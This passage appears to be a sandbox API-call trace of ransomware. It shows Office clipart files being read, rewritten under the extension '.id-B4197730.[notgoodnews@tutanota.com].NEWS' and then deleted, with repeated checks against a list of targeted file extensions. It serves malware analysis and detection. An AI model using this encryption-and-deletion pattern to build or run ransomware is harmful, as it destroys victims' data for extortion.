Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0174.517] GetLastError () returned 0x0 [0174.517] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0174.519] WriteFile (in: hFile=0x54c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0174.521] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.521] WriteFile (in: hFile=0x54c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.522] SetEndOfFile (hFile=0x54c) returned 1 [0174.522] CloseHandle (hObject=0x54c) returned 1 [0174.522] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.522] SetEndOfFile (hFile=0x51c) returned 1 [0174.526] CloseHandle (hObject=0x51c) returned 1 [0174.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0174.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.529] lstrlenW (lpString=".doc") returned 4 [0174.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString=".docx") returned 5 [0174.530] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.530] lstrlenW (lpString=".pdf") returned 4 [0174.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString=".xls") returned 4 [0174.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.530] lstrlenW (lpString=".xlsx") returned 5 [0174.530] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.530] lstrlenW (lpString=".ppt") returned 4 [0174.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.530] lstrlenW (lpString=".zip") returned 4 [0174.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.530] lstrlenW (lpString=".rar") returned 4 [0174.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString=".bz2") returned 4 [0174.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString=".7z") returned 3 [0174.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.530] lstrlenW (lpString=".dbf") returned 4 [0174.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.530] lstrlenW (lpString=".1cd") returned 4 [0174.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.530] lstrlenW (lpString=".jpg") returned 4 [0174.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.530] lstrlenW (lpString=".doc") returned 4 [0174.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString=".docx") returned 5 [0174.531] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.531] lstrlenW (lpString=".pdf") returned 4 [0174.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString=".xls") returned 4 [0174.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.531] lstrlenW (lpString=".xlsx") returned 5 [0174.531] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.531] lstrlenW (lpString=".ppt") returned 4 [0174.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.531] lstrlenW (lpString=".zip") returned 4 [0174.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.531] lstrlenW (lpString=".rar") returned 4 [0174.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString=".bz2") returned 4 [0174.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString=".7z") returned 3 [0174.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.531] lstrlenW (lpString=".dbf") returned 4 [0174.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.531] lstrlenW (lpString=".1cd") returned 4 [0174.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0174.531] lstrlenW (lpString=".jpg") returned 4 [0174.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.532] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.532] lstrlenW (lpString="J0105280.WMF") returned 12 [0174.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.533] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11540) returned 1 [0174.533] CloseHandle (hObject=0x51c) returned 1 [0174.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0174.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.534] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.534] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0174.535] GetLastError () returned 0x0 [0174.535] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d14, lpOverlapped=0x0) returned 1 [0174.537] WriteFile (in: hFile=0x54c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d20, lpOverlapped=0x0) returned 1 [0174.539] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.539] WriteFile (in: hFile=0x54c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.539] SetEndOfFile (hFile=0x54c) returned 1 [0174.539] CloseHandle (hObject=0x54c) returned 1 [0174.539] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.539] SetEndOfFile (hFile=0x51c) returned 1 [0174.543] CloseHandle (hObject=0x51c) returned 1 [0174.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.545] lstrlenW (lpString=".doc") returned 4 [0174.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString=".docx") returned 5 [0174.545] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.545] lstrlenW (lpString=".pdf") returned 4 [0174.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString=".xls") returned 4 [0174.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.545] lstrlenW (lpString=".xlsx") returned 5 [0174.545] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.545] lstrlenW (lpString=".ppt") returned 4 [0174.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.545] lstrlenW (lpString=".zip") returned 4 [0174.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.545] lstrlenW (lpString=".rar") returned 4 [0174.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString=".bz2") returned 4 [0174.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString=".7z") returned 3 [0174.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.545] lstrlenW (lpString=".dbf") returned 4 [0174.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.545] lstrlenW (lpString=".1cd") returned 4 [0174.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.545] lstrlenW (lpString=".jpg") returned 4 [0174.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.546] lstrlenW (lpString=".doc") returned 4 [0174.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.546] lstrlenW (lpString=".docx") returned 5 [0174.546] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.546] lstrlenW (lpString=".pdf") returned 4 [0174.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.546] lstrlenW (lpString=".xls") returned 4 [0174.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.546] lstrlenW (lpString=".xlsx") returned 5 [0174.546] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.546] lstrlenW (lpString=".ppt") returned 4 [0174.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.546] lstrlenW (lpString=".zip") returned 4 [0174.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.546] lstrlenW (lpString=".rar") returned 4 [0174.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.546] lstrlenW (lpString=".bz2") returned 4 [0174.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.546] lstrlenW (lpString=".7z") returned 3 [0174.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.546] lstrlenW (lpString=".dbf") returned 4 [0174.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.546] lstrlenW (lpString=".1cd") returned 4 [0174.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0174.546] lstrlenW (lpString=".jpg") returned 4 [0174.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.547] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.547] lstrlenW (lpString="J0105282.WMF") returned 12 [0174.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.547] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=4796) returned 1 [0174.547] CloseHandle (hObject=0x51c) returned 1 [0174.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0174.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.548] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.548] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0174.549] GetLastError () returned 0x0 [0174.549] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0174.945] WriteFile (in: hFile=0x54c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0174.946] ReadFile (in: hFile=0x51c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.946] WriteFile (in: hFile=0x54c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.946] SetEndOfFile (hFile=0x54c) returned 1 [0175.592] CloseHandle (hObject=0x54c) returned 1 [0175.904] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.904] SetEndOfFile (hFile=0x51c) returned 1 [0176.002] CloseHandle (hObject=0x51c) returned 1 [0176.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0176.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.003] lstrlenW (lpString=".doc") returned 4 [0176.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.004] lstrlenW (lpString=".docx") returned 5 [0176.004] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.004] lstrlenW (lpString=".pdf") returned 4 [0176.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.004] lstrlenW (lpString=".xls") returned 4 [0176.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.004] lstrlenW (lpString=".xlsx") returned 5 [0176.004] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.004] lstrlenW (lpString=".ppt") returned 4 [0176.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.004] lstrlenW (lpString=".zip") returned 4 [0176.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.004] lstrlenW (lpString=".rar") returned 4 [0176.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.004] lstrlenW (lpString=".bz2") returned 4 [0176.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.004] lstrlenW (lpString=".7z") returned 3 [0176.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.004] lstrlenW (lpString=".dbf") returned 4 [0176.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.004] lstrlenW (lpString=".1cd") returned 4 [0176.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.004] lstrlenW (lpString=".jpg") returned 4 [0176.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.004] lstrlenW (lpString=".doc") returned 4 [0176.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.005] lstrlenW (lpString=".docx") returned 5 [0176.005] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.005] lstrlenW (lpString=".pdf") returned 4 [0176.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.005] lstrlenW (lpString=".xls") returned 4 [0176.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.005] lstrlenW (lpString=".xlsx") returned 5 [0176.005] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.005] lstrlenW (lpString=".ppt") returned 4 [0176.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.005] lstrlenW (lpString=".zip") returned 4 [0176.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.005] lstrlenW (lpString=".rar") returned 4 [0176.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.005] lstrlenW (lpString=".bz2") returned 4 [0176.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.005] lstrlenW (lpString=".7z") returned 3 [0176.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.005] lstrlenW (lpString=".dbf") returned 4 [0176.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.005] lstrlenW (lpString=".1cd") returned 4 [0176.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0176.005] lstrlenW (lpString=".jpg") returned 4 [0176.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.005] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.005] lstrlenW (lpString="J0105338.WMF") returned 12 [0176.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.006] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11584) returned 1 [0176.006] CloseHandle (hObject=0x51c) returned 1 [0176.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0176.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.007] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.007] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 